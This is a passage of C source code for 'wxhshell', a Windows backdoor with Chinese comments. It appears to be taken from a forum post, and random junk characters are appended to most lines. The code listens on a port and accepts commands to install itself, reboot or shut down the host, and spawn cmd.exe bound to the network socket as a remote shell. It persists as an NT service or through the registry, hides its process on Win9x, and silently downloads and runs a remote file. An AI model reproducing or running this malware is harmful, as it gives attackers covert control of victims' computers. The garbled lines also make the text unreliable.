  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z}K.^\S9  
  } fs3 -rXoB  
  else { CVGOX z  
(| 36!-(iK  
    switch(cmd[0]) { X6Nm!od'  
  nT@6g|!  
  // 帮助 =8$0$d  
  case '?': { kHJDX;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V^Mf4!A(y  
    break; wKi}@|0[@  
  } }KD7 Y  
  // 安装 4l%?mvA^m  
  case 'i': { v`_i1h9p{  
    if(Install()) Pi"~/MGP$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iFwyh`Bcg  
    else YM`:L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #GY&$8.u*  
    break; ezg^5o;  
    } p'Y&Z?8  
  // 卸载 (ifqwl62  
  case 'r': { FD XWFJ  
    if(Uninstall()) E*r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @tE&<[e  
    else re ]Ste  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hs{&G^!jo  
    break; ;* wT,2;  
    } <*A|pns  
  // 显示 wxhshell 所在路径 n?ZL"!$  
  case 'p': { o%/-5-  
    char svExeFile[MAX_PATH]; 409x!d~it  
    strcpy(svExeFile,"\n\r"); _UH/}!nqB  
      strcat(svExeFile,ExeFile);  d-ag  
        send(wsh,svExeFile,strlen(svExeFile),0); un$ Z7W/  
    break; T1Gp$l  
    } Qc&-\kQ:$u  
  // 重启 SLQ\Y%F  
  case 'b': { SG dfhno;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y~== waZw  
    if(Boot(REBOOT)) 2,8/Cb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *l>[`U+  
    else { IDGQIg  
    closesocket(wsh); |5}rX!wS4  
    ExitThread(0); ~),;QQ,  
    } j.=UI-&m  
    break; |<j,Tr1[  
    } !"`@sd~  
  // 关机 -~v l+L  
  case 'd': { Ism^hyL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,YP1$gj  
    if(Boot(SHUTDOWN)) PwFQ#Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zp7V\W; &  
    else { Sc;iAi (  
    closesocket(wsh); Ie G7@  
    ExitThread(0); p@?7^nIR*u  
    } 3d,-3U  
    break; L,Ao.?j  
    } P3>..fhoW  
  // 获取shell S3ab0JM  
  case 's': { &Q-[;  
    CmdShell(wsh); H Z;ZjC*  
    closesocket(wsh); w+Z--@\  
    ExitThread(0); "*Lj8C3|n  
    break; %sOWg.0_  
  } 5u2{n rc  
  // 退出 XKz;o^1a^  
  case 'x': { 1A7%0/K-]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lv<iJH\  
    CloseIt(wsh); .-SDo"K.h  
    break; 0t#NMW  
    } ^%\)Xi  
  // 离开 F[>7z3I  
  case 'q': { 'O.+6`&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zdv.PGn  
    closesocket(wsh); u-AWJc+F.  
    WSACleanup(); V,>+G6e  
    exit(1); @k=cN>ZMc  
    break; D+@-XU<Lp<  
        } 5kGxhD  
  } W4)kkJ  
  } F^ I\X  
$q Zc!Qc  
  // 提示信息 ^=eq .(>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LYd}w(}  
} 9 9Ba{qj  
  } vOos*&  
Z~r[;={,  
  return; G{@C"H[$<  
} :7 qqjs  
 Jt##rVN  
// shell模块句柄 A)\>#Dv  
int CmdShell(SOCKET sock) ;;ER"N  
{ 6-mmi7IfO  
STARTUPINFO si; DRH'A!r!  
ZeroMemory(&si,sizeof(si)); =?= )s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^y:FjQC:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T?W[Z_D  
PROCESS_INFORMATION ProcessInfo; nqZA|-}  
char cmdline[]="cmd"; W3^zIj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xj0cgK|!  
  return 0; PV?]UUc'n<  
} m!rwG(  
F0@Qgk]\  
// 自身启动模式 \n[ 392  
int StartFromService(void) uWUR3n  
{ 3LKB;  
typedef struct CD^CUbGk  
{ ao)Ck3]  
  DWORD ExitStatus; *f79=x  
  DWORD PebBaseAddress; K1:a]aU?Iu  
  DWORD AffinityMask; :ar?0  
  DWORD BasePriority;  ;KZrl`  
  ULONG UniqueProcessId; HbNYP/MN3  
  ULONG InheritedFromUniqueProcessId; Q m $(  
}   PROCESS_BASIC_INFORMATION; -u6}T!  
}KK2WJp#M  
PROCNTQSIP NtQueryInformationProcess; }0$mn)*k  
vT?Q^PTO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; . 3Gn ZR,L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }c} ( 5  
Yx6hA#7I  
  HANDLE             hProcess; RXBb:f  
  PROCESS_BASIC_INFORMATION pbi; pJd0k"{  
3@&bxYXm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o>2e !7  
  if(NULL == hInst ) return 0; c\M#5+1j  
6^Ph '  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'g]hmE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IQT cYl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3=Z<wD s  
{] O`g G  
  if (!NtQueryInformationProcess) return 0; 2-~a P  
gF3TwAr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lY.B  
  if(!hProcess) return 0; B]1HS`*7  
NjbwGcH%\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cFLd)mt/  
,E&Bn8L~O  
  CloseHandle(hProcess); u,f A!  
U| 8[#@r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xt ft*Z  
if(hProcess==NULL) return 0; 5^>n5u/  
^OF5F8Tf/  
HMODULE hMod; |=\91fP68`  
char procName[255]; Raefj(^V  
unsigned long cbNeeded; mG_BM/$  
<{giHT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rv vh{U;t  
s|Zx(.EP  
  CloseHandle(hProcess); 8zZSp  
Q!K`e)R  
if(strstr(procName,"services")) return 1; // 以服务启动 [G a~%m  
&eIGF1ws  
  return 0; // 注册表启动 m=QCG)s  
} ,>u=gA&}  
VpSEVd:n  
// 主模块 CN/IH   
int StartWxhshell(LPSTR lpCmdLine) 4YLs^1'TG0  
{ >D ne? 8r  
  SOCKET wsl; +e'X;  
BOOL val=TRUE; 7IW> >RBF  
  int port=0; Y;,Hzmbs6w  
  struct sockaddr_in door; l)Zs-V!M^\  
NY@"&p'Q  
  if(wscfg.ws_autoins) Install(); a}>Dz 1R  
j5\$[-';  
port=atoi(lpCmdLine); #XI"@pD  
hq?jdNy :  
if(port<=0) port=wscfg.ws_port; rs:Q%V ^  
@rO4y`  
  WSADATA data; &8sV o@Pa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k(vPg,X>m  
Zm(dY*z5:J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &EovZ@u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w>qCg XU3  
  door.sin_family = AF_INET; [?KJ9~+0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b{RqwV5P  
  door.sin_port = htons(port); fYBH)E  
YUscz!rM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2zK"*7b?  
closesocket(wsl); &x0C4Kh  
return 1; f7J,&<<5w  
} iITp**l  
u g\w\b  
  if(listen(wsl,2) == INVALID_SOCKET) { Kd3QqVJBz1  
closesocket(wsl); :Q_x/+-  
return 1; {B0h+. C  
} JRO$<  
  Wxhshell(wsl); pUCK-rL  
  WSACleanup(); ( KTnJZ  
Ax!Gu$K2o  
return 0; kZVm1W1  
z/1{OL  
} EA|k5W*b  
(R'+jWH  
// 以NT服务方式启动 Fk1.iRVzi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |;u}sX1t9  
{ s-k_d<  
DWORD   status = 0; z<pJYpxH  
  DWORD   specificError = 0xfffffff; \cQ .|S  
R#(G%66   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4DLq}v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n|i"S`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :EZQ'3X  
  serviceStatus.dwWin32ExitCode     = 0; ++8_fgM  
  serviceStatus.dwServiceSpecificExitCode = 0; lJ{V  
  serviceStatus.dwCheckPoint       = 0; dB;3.<S=  
  serviceStatus.dwWaitHint       = 0; "&lN\&:  
Z0ReWrl;`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ y;y(4<  
  if (hServiceStatusHandle==0) return; jxw_*^w"  
R8&|+ya  
status = GetLastError(); <y)E>Fl  
  if (status!=NO_ERROR) phP> 3f.T  
{ ip``v0Nf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yv )aAWEa  
    serviceStatus.dwCheckPoint       = 0; *Msr15  
    serviceStatus.dwWaitHint       = 0; }nud  
    serviceStatus.dwWin32ExitCode     = status; NQ9Ojj{#  
    serviceStatus.dwServiceSpecificExitCode = specificError; w#(RW7":F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [f!O6moR6  
    return; c8A`<-\MfB  
  } [B^G-  
44sy`e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; # |^^K!%  
  serviceStatus.dwCheckPoint       = 0; Ct]A%=cZW  
  serviceStatus.dwWaitHint       = 0; ZPO|<uR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7*s8 ttX  
} RFko>d  
"Xn%at4  
// 处理NT服务事件,比如:启动、停止 $/_ qE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .Q>!B?)  
{ & ,L9OU  
switch(fdwControl) xx8U$,Ng  
{ :reTJQwr  
case SERVICE_CONTROL_STOP: Zb''mf\  
  serviceStatus.dwWin32ExitCode = 0; g4&jo_3:p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $-vo}k%M  
  serviceStatus.dwCheckPoint   = 0; .L;@=Yg )  
  serviceStatus.dwWaitHint     = 0; ,EEPh>cXc  
  { $%2H6Eg0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #c Kqnk  
  } j@1)K3Hga  
  return; fgF;&(b  
case SERVICE_CONTROL_PAUSE: Ec]|p6a3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o6}n8U}bk  
  break; ~}%~oT  
case SERVICE_CONTROL_CONTINUE: ?m;;D'1j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RuAlB*  
  break; Kt/)pc  
case SERVICE_CONTROL_INTERROGATE: AQ{zx1^2>K  
  break; V#83!  
}; +F@_Es<6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `UzVS>]l[+  
} Q M 1F?F  
F#V q#|_)>  
// 标准应用程序主函数 p-$Cs _{Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \ijMw  
{ GAEO$e:  
rZwB> c  
// 获取操作系统版本 TGV  
OsIsNt=GetOsVer(); S~F`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7#-y-B]l  
:w-`PY J%G  
  // 从命令行安装 Jb(Y,LO^  
  if(strpbrk(lpCmdLine,"iI")) Install(); sR_xe}-  
{'bip`U.  
  // 下载执行文件 7*+TP~WI  
if(wscfg.ws_downexe) { j"7 JLe*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \4bWWy  
  WinExec(wscfg.ws_filenam,SW_HIDE); v[S-Pi1  
} 'Ud| Ex@A9  
+,flE= 5]s  
if(!OsIsNt) { >+9JD%]x]  
// 如果时win9x,隐藏进程并且设置为注册表启动 d"T Ht}  
HideProc(); Q9>U1]\  
StartWxhshell(lpCmdLine); (f1M'w/OD  
} q<{NO/Mm  
else O`W%Tr  
  if(StartFromService()) H[Weu  
  // 以服务方式启动 6yIvaY$KR  
  StartServiceCtrlDispatcher(DispatchTable); n2ndjE$  
else 0SV\{]2  
  // 普通方式启动 `  2%6V)s  
  StartWxhshell(lpCmdLine); ,x_Z JL  
K"{HseN{  
return 0; RKkGITDk  
}
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只看该作者 1 发表于: 2006-10-10
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